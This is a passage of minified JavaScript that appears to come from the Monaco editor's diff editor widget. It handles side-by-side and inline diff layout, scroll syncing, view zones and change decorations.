f(t,e),Object.defineProperty(t.prototype,\"ignoreTrimWhitespace\",{get:function(){return this._ignoreTrimWhitespace},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"renderSideBySide\",{get:function(){return this._renderSideBySide},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\"renderIndicators\",{get:function(){return this._renderIndicators},enumerable:!0,configurable:!0}),t.prototype.hasWidgetFocus=function(){return s.isAncestor(document.activeElement,this._domElement)},t.prototype.diffReviewNext=function(){this._reviewPane.next()},t.prototype.diffReviewPrev=function(){this._reviewPane.prev()},t._getClassName=function(e,t){var n=\"monaco-diff-editor monaco-editor-background \";return t&&(n+=\"side-by-side \"),n+=M.getThemeTypeSelector(e.type)},t.prototype._recreateOverviewRulers=function(){this._originalOverviewRuler&&(this._overviewDomElement.removeChild(this._originalOverviewRuler.getDomNode()),this._originalOverviewRuler.dispose()),this._originalOverviewRuler=this.originalEditor.createOverviewRuler(\"original diffOverviewRuler\",4,Number.MAX_VALUE),this._overviewDomElement.appendChild(this._originalOverviewRuler.getDomNode()),this._modifiedOverviewRuler&&(this._overviewDomElement.removeChild(this._modifiedOverviewRuler.getDomNode()),this._modifiedOverviewRuler.dispose()),this._modifiedOverviewRuler=this.modifiedEditor.createOverviewRuler(\"modified diffOverviewRuler\",4,Number.MAX_VALUE),this._overviewDomElement.appendChild(this._modifiedOverviewRuler.getDomNode()),this._layoutOverviewRulers()},t.prototype._createLeftHandSide=function(){this._originalDomNode=document.createElement(\"div\"),this._originalDomNode.className=\"editor original\",this._originalDomNode.style.position=\"absolute\",this._originalDomNode.style.height=\"100%\",this._containerDomElement.appendChild(this._originalDomNode)},t.prototype._createRightHandSide=function(){this._modifiedDomNode=document.createElement(\"div\"),this._modifiedDomNode.className=\"editor modified\",this._modifiedDomNode.style.position=\"absolute\",this._modifiedDomNode.style.height=\"100%\",this._containerDomElement.appendChild(this._modifiedDomNode)},t.prototype._createLeftHandSideEditor=function(e,t){var n=this;this.originalEditor=this._createInnerEditor(t,this._originalDomNode,this._adjustOptionsForLeftHandSide(e,this._originalIsEditable)),this._register(this.originalEditor.onDidScrollChange(function(e){n._isHandlingScrollEvent||(e.scrollTopChanged||e.scrollLeftChanged||e.scrollHeightChanged)&&(n._isHandlingScrollEvent=!0,n.modifiedEditor.setScrollPosition({scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}),n._isHandlingScrollEvent=!1,n._layoutOverviewViewport())})),this._register(this.originalEditor.onDidChangeViewZones(function(){n._onViewZonesChanged()})),this._register(this.originalEditor.onDidChangeModelContent(function(){n._isVisible&&n._beginUpdateDecorationsSoon()}))},t.prototype._createRightHandSideEditor=function(e,t){var n=this;this.modifiedEditor=this._createInnerEditor(t,this._modifiedDomNode,this._adjustOptionsForRightHandSide(e)),this._register(this.modifiedEditor.onDidScrollChange(function(e){n._isHandlingScrollEvent||(e.scrollTopChanged||e.scrollLeftChanged||e.scrollHeightChanged)&&(n._isHandlingScrollEvent=!0,n.originalEditor.setScrollPosition({scrollLeft:e.scrollLeft,scrollTop:e.scrollTop}),n._isHandlingScrollEvent=!1,n._layoutOverviewViewport())})),this._register(this.modifiedEditor.onDidChangeViewZones(function(){n._onViewZonesChanged()})),this._register(this.modifiedEditor.onDidChangeConfiguration(function(e){e.fontInfo&&n.modifiedEditor.getModel()&&n._onViewZonesChanged()})),this._register(this.modifiedEditor.onDidChangeModelContent(function(){n._isVisible&&n._beginUpdateDecorationsSoon()}))},t.prototype._createInnerEditor=function(e,t,n){return e.createInstance(b.CodeEditor,t,n)},t.prototype.destroy=function(){this.dispose()},t.prototype.dispose=function(){this._codeEditorService.removeDiffEditor(this),window.clearInterval(this._measureDomElementToken),this._cleanViewZonesAndDecorations(),this._originalOverviewRuler.dispose(),this._modifiedOverviewRuler.dispose(),this.originalEditor.dispose(),this.modifiedEditor.dispose(),this._strategy.dispose(),this._reviewPane.dispose(),this._onDidDispose.fire(),e.prototype.dispose.call(this)},t.prototype.getId=function(){return this.getEditorType()+\":\"+this.id},t.prototype.getEditorType=function(){return g.EditorType.IDiffEditor},t.prototype.getLineChanges=function(){return this._lineChanges},t.prototype.getOriginalEditor=function(){return this.originalEditor},t.prototype.getModifiedEditor=function(){return this.modifiedEditor},t.prototype.updateOptions=function(e){var n=!1;void 0!==e.renderSideBySide&&this._renderSideBySide!==e.renderSideBySide&&(this._renderSideBySide=e.renderSideBySide,n=!0);var i=!1;void 0!==e.ignoreTrimWhitespace&&this._ignoreTrimWhitespace!==e.ignoreTrimWhitespace&&(this._ignoreTrimWhitespace=e.ignoreTrimWhitespace,i=!0),void 0!==e.renderIndicators&&this._renderIndicators!==e.renderIndicators&&(this._renderIndicators=e.renderIndicators,i=!0),i&&this._beginUpdateDecorations(),void 0!==e.originalEditable&&(this._originalIsEditable=Boolean(e.originalEditable)),this.modifiedEditor.updateOptions(this._adjustOptionsForRightHandSide(e)),this.originalEditor.updateOptions(this._adjustOptionsForLeftHandSide(e,this._originalIsEditable)),void 0!==e.enableSplitViewResizing&&(this._enableSplitViewResizing=e.enableSplitViewResizing),this._strategy.setEnableSplitViewResizing(this._enableSplitViewResizing),n&&(this._renderSideBySide?this._setStrategy(new j(this._createDataSource(),this._enableSplitViewResizing)):this._setStrategy(new G(this._createDataSource(),this._enableSplitViewResizing)),this._containerDomElement.className=t._getClassName(this._themeService.getTheme(),this._renderSideBySide))},t.prototype.getValue=function(e){return void 0===e&&(e=null),this.modifiedEditor.getValue(e)},t.prototype.getModel=function(){return{original:this.originalEditor.getModel(),modified:this.modifiedEditor.getModel()}},t.prototype.setModel=function(e){if(e&&(!e.original||!e.modified))throw new Error(e.original?\"DiffEditorWidget.setModel: Modified model is null\":\"DiffEditorWidget.setModel: Original model is null\");this._cleanViewZonesAndDecorations(),this.originalEditor.setModel(e?e.original:null),this.modifiedEditor.setModel(e?e.modified:null),this._updateDecorationsRunner.cancel(),e&&(this.originalEditor.setScrollTop(0),this.modifiedEditor.setScrollTop(0)),this._lineChanges=null,this._diffComputationToken++,e?(this._recreateOverviewRulers(),this._beginUpdateDecorations()):this._lineChanges=null,this._layoutOverviewViewport()},t.prototype.getDomNode=function(){return this._domElement},t.prototype.getVisibleColumnFromPosition=function(e){return this.modifiedEditor.getVisibleColumnFromPosition(e)},t.prototype.getPosition=function(){return this.modifiedEditor.getPosition()},t.prototype.setPosition=function(e,t,n,i){this.modifiedEditor.setPosition(e,t,n,i)},t.prototype.revealLine=function(e){this.modifiedEditor.revealLine(e)},t.prototype.revealLineInCenter=function(e){this.modifiedEditor.revealLineInCenter(e)},t.prototype.revealLineInCenterIfOutsideViewport=function(e){this.modifiedEditor.revealLineInCenterIfOutsideViewport(e)},t.prototype.revealPosition=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!1),this.modifiedEditor.revealPosition(e,t,n)},t.prototype.revealPositionInCenter=function(e){this.modifiedEditor.revealPositionInCenter(e)},t.prototype.revealPositionInCenterIfOutsideViewport=function(e){this.modifiedEditor.revealPositionInCenterIfOutsideViewport(e)},t.prototype.getSelection=function(){return this.modifiedEditor.getSelection()},t.prototype.getSelections=function(){return this.modifiedEditor.getSelections()},t.prototype.setSelection=function(e,t,n,i){this.modifiedEditor.setSelection(e,t,n,i)},t.prototype.setSelections=function(e){this.modifiedEditor.setSelections(e)},t.prototype.revealLines=function(e,t){this.modifiedEditor.revealLines(e,t)},t.prototype.revealLinesInCenter=function(e,t){this.modifiedEditor.revealLinesInCenter(e,t)},t.prototype.revealLinesInCenterIfOutsideViewport=function(e,t){this.modifiedEditor.revealLinesInCenterIfOutsideViewport(e,t)},t.prototype.revealRange=function(e,t,n){void 0===t&&(t=!1),void 0===n&&(n=!0),this.modifiedEditor.revealRange(e,t,n)},t.prototype.revealRangeInCenter=function(e){this.modifiedEditor.revealRangeInCenter(e)},t.prototype.revealRangeInCenterIfOutsideViewport=function(e){this.modifiedEditor.revealRangeInCenterIfOutsideViewport(e)},t.prototype.revealRangeAtTop=function(e){this.modifiedEditor.revealRangeAtTop(e)},t.prototype.getActions=function(){return this.modifiedEditor.getActions()},t.prototype.getSupportedActions=function(){return this.modifiedEditor.getSupportedActions()},t.prototype.getAction=function(e){return this.modifiedEditor.getAction(e)},t.prototype.saveViewState=function(){return{original:this.originalEditor.saveViewState(),modified:this.modifiedEditor.saveViewState()}},t.prototype.restoreViewState=function(e){if(e.original&&e.original){var t=e;this.originalEditor.restoreViewState(t.original),this.modifiedEditor.restoreViewState(t.modified)}},t.prototype.layout=function(e){this._measureDomElement(!1,e)},t.prototype.focus=function(){this.modifiedEditor.focus()},t.prototype.isFocused=function(){return this.originalEditor.isFocused()||this.modifiedEditor.isFocused()},t.prototype.onVisible=function(){this._isVisible=!0,this.originalEditor.onVisible(),this.modifiedEditor.onVisible(),this._beginUpdateDecorations()},t.prototype.onHide=function(){this._isVisible=!1,this.originalEditor.onHide(),this.modifiedEditor.onHide(),this._cleanViewZonesAndDecorations()},t.prototype.trigger=function(e,t,n){this.modifiedEditor.trigger(e,t,n)},t.prototype.changeDecorations=function(e){return this.modifiedEditor.changeDecorations(e)},t.prototype._measureDomElement=function(e,t){if((t=t||{width:this._containerDomElement.clientWidth,height:this._containerDomElement.clientHeight}).width<=0)return this._width=0,this._height=0,void(this._reviewHeight=0);(e||t.width!==this._width||t.height!==this._height)&&(this._width=t.width,this._height=t.height,this._reviewHeight=this._reviewPane.isVisible()?this._height:0,this._doLayout())},t.prototype._layoutOverviewRulers=function(){var e=t.ENTIRE_DIFF_OVERVIEW_WIDTH-2*t.ONE_OVERVIEW_WIDTH;this.modifiedEditor.getLayoutInfo()&&(this._originalOverviewRuler.setLayout({top:0,width:t.ONE_OVERVIEW_WIDTH,right:e+t.ONE_OVERVIEW_WIDTH,height:this._height-this._reviewHeight}),this._modifiedOverviewRuler.setLayout({top:0,right:0,width:t.ONE_OVERVIEW_WIDTH,height:this._height-this._reviewHeight}))},t.prototype._onViewZonesChanged=function(){this._currentlyChangingViewZones||this._updateDecorationsRunner.schedule()},t.prototype._beginUpdateDecorationsSoon=function(){var e=this;-1!==this._beginUpdateDecorationsTimeout&&(window.clearTimeout(this._beginUpdateDecorationsTimeout),this._beginUpdateDecorationsTimeout=-1),this._beginUpdateDecorationsTimeout=window.setTimeout(function(){return e._beginUpdateDecorations()},t.UPDATE_DIFF_DECORATIONS_DELAY)},t._equals=function(e,t){return!e&&!t||!(!e||!t)&&e.toString()===t.toString()},t.prototype._beginUpdateDecorations=function(){var e=this;this._beginUpdateDecorationsTimeout=-1;var i=this.originalEditor.getModel(),o=this.modifiedEditor.getModel();if(i&&o){this._diffComputationToken++;var r=this._diffComputationToken;this._editorWorkerService.canComputeDiff(i.uri,o.uri)?this._editorWorkerService.computeDiff(i.uri,o.uri,this._ignoreTrimWhitespace).then(function(t){r===e._diffComputationToken&&i===e.originalEditor.getModel()&&o===e.modifiedEditor.getModel()&&(e._lineChanges=t,e._updateDecorationsRunner.schedule(),e._onDidUpdateDiff.fire())},function(t){r===e._diffComputationToken&&i===e.originalEditor.getModel()&&o===e.modifiedEditor.getModel()&&(e._lineChanges=null,e._updateDecorationsRunner.schedule())}):t._equals(i.uri,this._lastOriginalWarning)&&t._equals(o.uri,this._lastModifiedWarning)||(this._lastOriginalWarning=i.uri,this._lastModifiedWarning=o.uri,this._messageService.show(a.default.Warning,n.localize(0,null)))}},t.prototype._cleanViewZonesAndDecorations=function(){this._originalEditorState.clean(this.originalEditor),this._modifiedEditorState.clean(this.modifiedEditor)},t.prototype._updateDecorations=function(){if(this.originalEditor.getModel()&&this.modifiedEditor.getModel()){var e=this._lineChanges||[],t=this._originalEditorState.getForeignViewZones(this.originalEditor.getWhitespaces()),n=this._modifiedEditorState.getForeignViewZones(this.modifiedEditor.getWhitespaces()),i=this._strategy.getEditorsDiffDecorations(e,this._ignoreTrimWhitespace,this._renderIndicators,t,n,this.originalEditor,this.modifiedEditor);try{this._currentlyChangingViewZones=!0,this._originalEditorState.apply(this.originalEditor,this._originalOverviewRuler,i.original),this._modifiedEditorState.apply(this.modifiedEditor,this._modifiedOverviewRuler,i.modified)}finally{this._currentlyChangingViewZones=!1}}},t.prototype._adjustOptionsForSubEditor=function(e){var t=r.clone(e||{});return t.inDiffEditor=!0,t.wordWrap=\"off\",t.wordWrapMinified=!1,t.automaticLayout=!1,t.scrollbar=t.scrollbar||{},t.scrollbar.vertical=\"visible\",t.folding=!1,t.codeLens=!1,t.fixedOverflowWidgets=!0,t.lineDecorationsWidth=\"2ch\",t.minimap||(t.minimap={}),t.minimap.enabled=!1,t},t.prototype._adjustOptionsForLeftHandSide=function(e,t){var n=this._adjustOptionsForSubEditor(e);return n.readOnly=!t,n.overviewRulerLanes=1,n.extraEditorClassName=\"original-in-monaco-diff-editor\",n},t.prototype._adjustOptionsForRightHandSide=function(e){var n=this._adjustOptionsForSubEditor(e);return n.revealHorizontalRightPadding=N.EDITOR_DEFAULTS.viewInfo.revealHorizontalRightPadding+t.ENTIRE_DIFF_OVERVIEW_WIDTH,n.scrollbar.verticalHasArrows=!1,n.extraEditorClassName=\"modified-in-monaco-diff-editor\",n},t.prototype.doLayout=function(){this._measureDomElement(!0)},t.prototype._doLayout=function(){var e=this._strategy.layout();this._originalDomNode.style.width=e+\"px\",this._originalDomNode.style.left=\"0px\",this._modifiedDomNode.style.width=this._width-e+\"px\",this._modifiedDomNode.style.left=e+\"px\",this._overviewDomElement.style.top=\"0px\",this._overviewDomElement.style.height=this._height-this._reviewHeight+\"px\",this._overviewDomElement.style.width=t.ENTIRE_DIFF_OVERVIEW_WIDTH+\"px\",this._overviewDomElement.style.left=this._width-t.ENTIRE_DIFF_OVERVIEW_WIDTH+\"px\",this._overviewViewportDomElement.setWidth(t.ENTIRE_DIFF_OVERVIEW_WIDTH),this._overviewViewportDomElement.setHeight(30),this.originalEditor.layout({width:e,height:this._height-this._reviewHeight}),this.modifiedEditor.layout({width:this._width-e-t.ENTIRE_DIFF_OVERVIEW_WIDTH,height:this._height-this._reviewHeight}),(this._originalOverviewRuler||this._modifiedOverviewRuler)&&this._layoutOverviewRulers(),this._reviewPane.layout(this._height-this._reviewHeight,this._width,this._reviewHeight),this._layoutOverviewViewport()},t.prototype._layoutOverviewViewport=function(){var e=this._computeOverviewViewport();e?(this._overviewViewportDomElement.setTop(e.top),this._overviewViewportDomElement.setHeight(e.height)):(this._overviewViewportDomElement.setTop(0),this._overviewViewportDomElement.setHeight(0))},t.prototype._computeOverviewViewport=function(){var e=this.modifiedEditor.getLayoutInfo();if(!e)return null;var t=this.modifiedEditor.getScrollTop(),n=this.modifiedEditor.getScrollHeight(),i=Math.max(0,e.contentHeight),o=Math.max(0,i-0),r=n>0?o/n:0;return{height:Math.max(0,Math.floor(e.contentHeight*r)),top:Math.floor(t*r)}},t.prototype._createDataSource=function(){var e=this;return{getWidth:function(){return e._width},getHeight:function(){return e._height-e._reviewHeight},getContainerDomNode:function(){return e._containerDomElement},relayoutEditors:function(){e._doLayout()},getOriginalEditor:function(){return e.originalEditor},getModifiedEditor:function(){return e.modifiedEditor}}},t.prototype._setStrategy=function(e){this._strategy&&this._strategy.dispose(),this._strategy=e,e.applyColors(this._themeService.getTheme()),this._lineChanges&&this._updateDecorations(),this._measureDomElement(!0)},t.prototype._getLineChangeAtOrBeforeLineNumber=function(e,t){if(0===this._lineChanges.length||e<t(this._lineChanges[0]))return null;for(var n=0,i=this._lineChanges.length-1;n<i;){var o=Math.floor((n+i)/2),r=t(this._lineChanges[o]),s=o+1<=i?t(this._lineChanges[o+1]):Number.MAX_VALUE;e<r?i=o-1:e>=s?n=o+1:(n=o,i=o)}return this._lineChanges[n]},t.prototype._getEquivalentLineForOriginalLineNumber=function(e){var t=this._getLineChangeAtOrBeforeLineNumber(e,function(e){return e.originalStartLineNumber});if(!t)return e;var n=t.originalStartLineNumber+(t.originalEndLineNumber>0?-1:0),i=t.modifiedStartLineNumber+(t.modifiedEndLineNumber>0?-1:0),o=t.originalEndLineNumber>0?t.originalEndLineNumber-t.originalStartLineNumber+1:0,r=t.modifiedEndLineNumber>0?t.modifiedEndLineNumber-t.modifiedStartLineNumber+1:0,s=e-n;return s<=o?i+Math.min(s,r):i+r-o+s},t.prototype._getEquivalentLineForModifiedLineNumber=function(e){var t=this._getLineChangeAtOrBeforeLineNumber(e,function(e){return e.modifiedStartLineNumber});if(!t)return e;var n=t.originalStartLineNumber+(t.originalEndLineNumber>0?-1:0),i=t.modifiedStartLineNumber+(t.modifiedEndLineNumber>0?-1:0),o=t.originalEndLineNumber>0?t.originalEndLineNumber-t.originalStartLineNumber+1:0,r=t.modifiedEndLineNumber>0?t.modifiedEndLineNumber-t.modifiedStartLineNumber+1:0,s=e-i;return s<=r?n+Math.min(s,o):n+o-r+s},t.prototype.getDiffLineInformationForOriginal=function(e){return this._lineChanges?{equivalentLineNumber:this._getEquivalentLineForOriginalLineNumber(e)}:null},t.prototype.getDiffLineInformationForModified=function(e){return this._lineChanges?{equivalentLineNumber:this._getEquivalentLineForModifiedLineNumber(e)}:null},t.ONE_OVERVIEW_WIDTH=15,t.ENTIRE_DIFF_OVERVIEW_WIDTH=30,t.UPDATE_DIFF_DECORATIONS_DELAY=200,t=v([y(2,m.IEditorWorkerService),y(3,d.IContextKeyService),y(4,c.IInstantiationService),y(5,h.ICodeEditorService),y(6,M.IThemeService),y(7,O.IMessageService)],t)}(o.Disposable);t.DiffEditorWidget=V;var H=function(e){function t(t){var n=e.call(this)||this;return n._dataSource=t,n}return f(t,e),t.prototype.applyColors=function(e){var t=(e.getColor(T.diffInserted)||T.defaultInsertColor).transparent(2),n=(e.getColor(T.diffRemoved)||T.defaultRemoveColor).transparent(2),i=!t.equals(this._insertColor)||!n.equals(this._removeColor);return this._insertColor=t,this._removeColor=n,i},t.prototype.getEditorsDiffDecorations=function(e,t,n,i,o,r,s){o=o.sort(function(e,t){return e.afterLineNumber-t.afterLineNumber}),i=i.sort(function(e,t){return e.afterLineNumber-t.afterLineNumber});var a=this._getViewZones(e,i,o,r,s,n),u=this._getOriginalEditorDecorations(e,t,n,r,s),l=this._getModifiedEditorDecorations(e,t,n,r,s);return{original:{decorations:u.decorations,overviewZones:u.overviewZones,zones:a.original},modified:{decorations:l.decorations,overviewZones:l.overviewZones,zones:a.modified}}},t.prototype._getViewZones=function(e,t,n,i,o,r){return null},t.prototype._getOriginalEditorDecorations=function(e,t,n,i,o){return null},t.prototype._getModifiedEditorDecorations=function(e,t,n,i,o){return null},t}(o.Disposable),z=function(){function e(e){this._source=e,this._index=-1,this.advance()}return e.prototype.advance=function(){this._index++,this._index<this._source.length?this.current=this._source[this._index]:this.current=null},e}(),K=function(){function e(e,t,n){this.lineChanges=e,this.originalForeignVZ=t,this.modifiedForeignVZ=n}return e.prototype.getViewZones=function(){for(var e={original:[],modified:[]},t=0,n=0,i=0,o=0,r=0,s=0,a=function(e,t){return e.afterLineNumber-t.afterLineNumber},u=function(e,t){if(null===t.domNode&&e.length>0){var n=e[e.length-1];if(n.afterLineNumber===t.afterLineNumber&&null===n.domNode)return void(n.heightInLines+=t.heightInLines)}e.push(t)},l=new z(this.modifiedForeignVZ),c=new z(this.originalForeignVZ),d=0,h=this.lineChanges.length;d<=h;d++){var p=d<h?this.lineChanges[d]:null;null!==p?(i=p.originalStartLineNumber+(p.originalEndLineNumber>0?-1:0),o=p.modifiedStartLineNumber+(p.modifiedEndLineNumber>0?-1:0),n=p.originalEndLineNumber>0?p.originalEndLineNumber-p.originalStartLineNumber+1:0,t=p.modifiedEndLineNumber>0?p.modifiedEndLineNumber-p.modifiedStartLineNumber+1:0,r=Math.max(p.originalStartLineNumber,p.originalEndLineNumber),s=Math.max(p.modifiedStartLineNumber,p.modifiedEndLineNumber)):(r=i+=1e7+n,s=o+=1e7+t);for(var f=[],g=[];l.current&&l.current.afterLineNumber<=s;){m=void 0;m=l.current.afterLineNumber<=o?i-o+l.current.afterLineNumber:r,f.push({afterLineNumber:m,heightInLines:l.current.heightInLines,domNode:null}),l.advance()}for(;c.current&&c.current.afterLineNumber<=r;){var m=void 0;m=c.current.afterLineNumber<=i?o-i+c.current.afterLineNumber:s,g.push({afterLineNumber:m,heightInLines:c.current.heightInLines,domNode:null}),c.advance()}if(null!==p&&P(p)&&(v=this._produceOriginalFromDiff(p,n,t))&&f.push(v),null!==p&&A(p)){var v=this._produceModifiedFromDiff(p,n,t);v&&g.push(v)}var _=0,y=0;for(f=f.sort(a),g=g.sort(a);_<f.length&&y<g.length;){var C=f[_],b=g[y],w=C.afterLineNumber-i,S=b.afterLineNumber-o;w<S?(u(e.original,C),_++):S<w?(u(e.modified,b),y++):C.shouldNotShrink?(u(e.original,C),_++):b.shouldNotShrink?(u(e.modified,b),y++):C.heightInLines>=b.heightInLines?(C.heightInLines-=b.heightInLines,y++):(b.heightInLines-=C.heightInLines,_++)}for(;_<f.length;)u(e.original,f[_]),_++;for(;y<g.length;)u(e.modified,g[y]),y++}var E=function(e){e.domNode||(e.domNode=F())};return e.original.forEach(E),e.modified.forEach(E),e},e}(),U={charDelete:I.ModelDecorationOptions.register({className:\"char-delete\"}),charDeleteWholeLine:I.ModelDecorationOptions.register({className:\"char-delete\",isWholeLine:!0}),charInsert:I.ModelDecorationOptions.register({className:\"char-insert\"}),charInsertWholeLine:I.ModelDecorationOptions.register({className:\"char-insert\",isWholeLine:!0}),lineInsert:I.ModelDecorationOptions.register({className:\"line-insert\",marginClassName:\"line-insert\",isWholeLine:!0}),lineInsertWithSign:I.ModelDecorationOptions.register({className:\"line-insert\",linesDecorationsClassName:\"insert-sign\",marginClassName:\"line-insert\",isWholeLine:!0}),lineDelete:I.ModelDecorationOptions.register({className:\"line-delete\",marginClassName:\"line-delete\",isWholeLine:!0}),lineDeleteWithSign:I.ModelDecorationOptions.register({className:\"line-delete\",linesDecorationsClassName:\"delete-sign\",marginClassName:\"line-delete\",isWholeLine:!0}),lineDeleteMargin:I.ModelDecorationOptions.register({marginClassName:\"line-delete\"})},j=function(e){function t(t,n){var i=e.call(this,t)||this;return i._disableSash=!1===n,i._sashRatio=null,i._sashPosition=null,i._sash=i._register(new l.Sash(i._dataSource.getContainerDomNode(),i)),i._disableSash&&i._sash.disable(),i._sash.addListener(\"start\",function(){return i.onSashDragStart()}),i._sash.addListener(\"change\",function(e){return i.onSashDrag(e)}),i._sash.addListener(\"end\",function(){return i.onSashDragEnd()}),i._sash.addListener(\"reset\",function(){return i.onSashReset()}),i}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.setEnableSplitViewResizing=function(e){var t=!1===e;this._disableSash!==t&&(this._disableSash=t,this._disableSash?this._sash.disable():this._sash.enable())},t.prototype.layout=function(e){void 0===e&&(e=this._sashRatio);var n=this._dataSource.getWidth()-V.ENTIRE_DIFF_OVERVIEW_WIDTH,i=Math.floor((e||.5)*n),o=Math.floor(.5*n);return i=this._disableSash?o:i||o,n>2*t.MINIMUM_EDITOR_WIDTH?(i<t.MINIMUM_EDITOR_WIDTH&&(i=t.MINIMUM_EDITOR_WIDTH),i>n-t.MINIMUM_EDITOR_WIDTH&&(i=n-t.MINIMUM_EDITOR_WIDTH)):i=o,this._sashPosition!==i&&(this._sashPosition=i,this._sash.layout()),this._sashPosition},t.prototype.onSashDragStart=function(){this._startSashPosition=this._sashPosition},t.prototype.onSashDrag=function(e){var t=this._dataSource.getWidth()-V.ENTIRE_DIFF_OVERVIEW_WIDTH,n=this.layout((this._startSashPosition+(e.currentX-e.startX))/t);this._sashRatio=n/t,this._dataSource.relayoutEditors()},t.prototype.onSashDragEnd=function(){this._sash.layout()},t.prototype.onSashReset=function(){this._sashRatio=.5,this._dataSource.relayoutEditors(),this._sash.layout()},t.prototype.getVerticalSashTop=function(e){return 0},t.prototype.getVerticalSashLeft=function(e){return this._sashPosition},t.prototype.getVerticalSashHeight=function(e){return this._dataSource.getHeight()},t.prototype._getViewZones=function(e,t,n,i,o){return new q(e,t,n).getViewZones()},t.prototype._getOriginalEditorDecorations=function(e,t,n,i,o){for(var r={decorations:[],overviewZones:[]},s=i.getModel(),a=0,u=e.length;a<u;a++){var l=e[a];if(A(l)){r.decorations.push({range:new p.Range(l.originalStartLineNumber,1,l.originalEndLineNumber,Number.MAX_VALUE),options:n?U.lineDeleteWithSign:U.lineDelete}),P(l)&&l.charChanges||r.decorations.push(R(l.originalStartLineNumber,1,l.originalEndLineNumber,Number.MAX_VALUE,U.charDeleteWholeLine));var c=this._removeColor.toString();if(r.overviewZones.push(new k.OverviewRulerZone(l.originalStartLineNumber,l.originalEndLineNumber,g.OverviewRulerLane.Full,0,c,c,c)),l.charChanges)for(var d=0,h=l.charChanges.length;d<h;d++){var f=l.charChanges[d];if(A(f))if(t)for(var m=f.originalStartLineNumber;m<=f.originalEndLineNumber;m++){var v=void 0,_=void 0;v=m===f.originalStartLineNumber?f.originalStartColumn:s.getLineFirstNonWhitespaceColumn(m),_=m===f.originalEndLineNumber?f.originalEndColumn:s.getLineLastNonWhitespaceColumn(m),r.decorations.push(R(m,v,m,_,U.charDelete))}else r.decorations.push(R(f.originalStartLineNumber,f.originalStartColumn,f.originalEndLineNumber,f.originalEndColumn,U.charDelete))}}}return r},t.prototype._getModifiedEditorDecorations=function(e,t,n,i,o){for(var r={decorations:[],overviewZones:[]},s=o.getModel(),a=0,u=e.length;a<u;a++){var l=e[a];if(P(l)){r.decorations.push({range:new p.Range(l.modifiedStartLineNumber,1,l.modifiedEndLineNumber,Number.MAX_VALUE),options:n?U.lineInsertWithSign:U.lineInsert}),A(l)&&l.charChanges||r.decorations.push(R(l.modifiedStartLineNumber,1,l.modifiedEndLineNumber,Number.MAX_VALUE,U.charInsertWholeLine));var c=this._insertColor.toString();if(r.overviewZones.push(new k.OverviewRulerZone(l.modifiedStartLineNumber,l.modifiedEndLineNumber,g.OverviewRulerLane.Full,0,c,c,c)),l.charChanges)for(var d=0,h=l.charChanges.length;d<h;d++){var f=l.charChanges[d];if(P(f))if(t)for(var m=f.modifiedStartLineNumber;m<=f.modifiedEndLineNumber;m++){var v=void 0,_=void 0;v=m===f.modifiedStartLineNumber?f.modifiedStartColumn:s.getLineFirstNonWhitespaceColumn(m),_=m===f.modifiedEndLineNumber?f.modifiedEndColumn:s.getLineLastNonWhitespaceColumn(m),r.decorations.push(R(m,v,m,_,U.charInsert))}else r.decorations.push(R(f.modifiedStartLineNumber,f.modifiedStartColumn,f.modifiedEndLineNumber,f.modifiedEndColumn,U.charInsert))}}}return r},t.MINIMUM_EDITOR_WIDTH=100,t}(H),q=function(e){function t(t,n,i){return e.call(this,t,n,i)||this}return f(t,e),t.prototype._produceOriginalFromDiff=function(e,t,n){return n>t?{afterLineNumber:Math.max(e.originalStartLineNumber,e.originalEndLineNumber),heightInLines:n-t,domNode:null}:null},t.prototype._produceModifiedFromDiff=function(e,t,n){return t>n?{afterLineNumber:Math.max(e.modifiedStartLineNumber,e.modifiedEndLineNumber),heightInLines:t-n,domNode:null}:null},t}(K),G=function(e){function t(t,n){var i=e.call(this,t)||this;return i.decorationsLeft=t.getOriginalEditor().getLayoutInfo().decorationsLeft,i._register(t.getOriginalEditor().onDidLayoutChange(function(e){i.decorationsLeft!==e.decorationsLeft&&(i.decorationsLeft=e.decorationsLeft,t.relayoutEditors())})),i}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype.setEnableSplitViewResizing=function(e){},t.prototype._getViewZones=function(e,t,n,i,o,r){return new Y(e,t,n,i,o,r).getViewZones()},t.prototype._getOriginalEditorDecorations=function(e,t,n,i,o){for(var r={decorations:[],overviewZones:[]},s=0,a=e.length;s<a;s++){var u=e[s];if(A(u)){r.decorations.push({range:new p.Range(u.originalStartLineNumber,1,u.originalEndLineNumber,Number.MAX_VALUE),options:U.lineDeleteMargin});var l=this._removeColor.toString();r.overviewZones.push(new k.OverviewRulerZone(u.originalStartLineNumber,u.originalEndLineNumber,g.OverviewRulerLane.Full,0,l,l,l))}}return r},t.prototype._getModifiedEditorDecorations=function(e,t,n,i,o){for(var r={decorations:[],overviewZones:[]},s=o.getModel(),a=0,u=e.length;a<u;a++){var l=e[a];if(P(l)){r.decorations.push({range:new p.Range(l.modifiedStartLineNumber,1,l.modifiedEndLineNumber,Number.MAX_VALUE),options:n?U.lineInsertWithSign:U.lineInsert});var c=this._insertColor.toString();if(r.overviewZones.push(new k.OverviewRulerZone(l.modifiedStartLineNumber,l.modifiedEndLineNumber,g.OverviewRulerLane.Full,0,c,c,c)),l.charChanges)for(var d=0,h=l.charChanges.length;d<h;d++){var f=l.charChanges[d];if(P(f))if(t)for(var m=f.modifiedStartLineNumber;m<=f.modifiedEndLineNumber;m++){var v=void 0,_=void 0;v=m===f.modifiedStartLineNumber?f.modifiedStartColumn:s.getLineFirstNonWhitespaceColumn(m),_=m===f.modifiedEndLineNumber?f.modifiedEndColumn:s.getLineLastNonWhitespaceColumn(m),r.decorations.push(R(m,v,m,_,U.charInsert))}else r.decorations.push(R(f.modifiedStartLineNumber,f.modifiedStartColumn,f.modifiedEndLineNumber,f.modifiedEndColumn,U.charInsert))}else r.decorations.push(R(l.modifiedStartLineNumber,1,l.modifiedEndLineNumber,Number.MAX_VALUE,U.charInsertWholeLine))}}return r},t.prototype.layout=function(){return Math.max(5,this.decorationsLeft)},t}(H),Y=function(e){function t(t,n,i,o,r,s){var a=e.call(this,t,n,i)||this;return a.originalModel=o.getModel(),a.modifiedEditorConfiguration=r.getConfiguration(),a.modifiedEditorTabSize=r.getModel().getOptions().tabSize,a.renderIndicators=s,a}return f(t,e),t.prototype._produceOriginalFromDiff=function(e,t,n){var i=document.createElement(\"div\");return 